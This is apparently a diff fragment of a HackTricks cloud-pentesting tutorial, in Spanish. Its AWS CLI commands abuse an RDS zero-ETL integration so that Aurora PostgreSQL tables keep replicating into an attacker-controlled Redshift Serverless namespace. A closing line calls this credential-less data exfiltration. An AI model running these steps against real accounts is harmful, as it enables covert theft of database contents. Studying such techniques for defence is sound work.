+aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ +ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately +aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) +``` +
+ +
+4) Crear la integración zero‑ETL desde RDS +```bash +# Include all tables in the default 'postgres' database +aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ +--target-arn "$RS_NS_ARN" --integration-name ztl-demo \ +--data-filter 'include: postgres.*.*' +# Redshift inbound integration should become ACTIVE +aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" +``` +
+ +
+5) Materializar y consultar datos replicados en Redshift +```bash +# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "select integration_id from svv_integration" # take the GUID value +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "create database ztl_db from integration '' database postgres" +# List tables replicated +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ +--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" +``` +
+ +Evidencia observada en la prueba: +- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... +- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. +- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob). + +Impacto: Exfiltración continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad ni acceso de red al clúster de origen. + + {{#include ../../../banners/hacktricks-training.md}}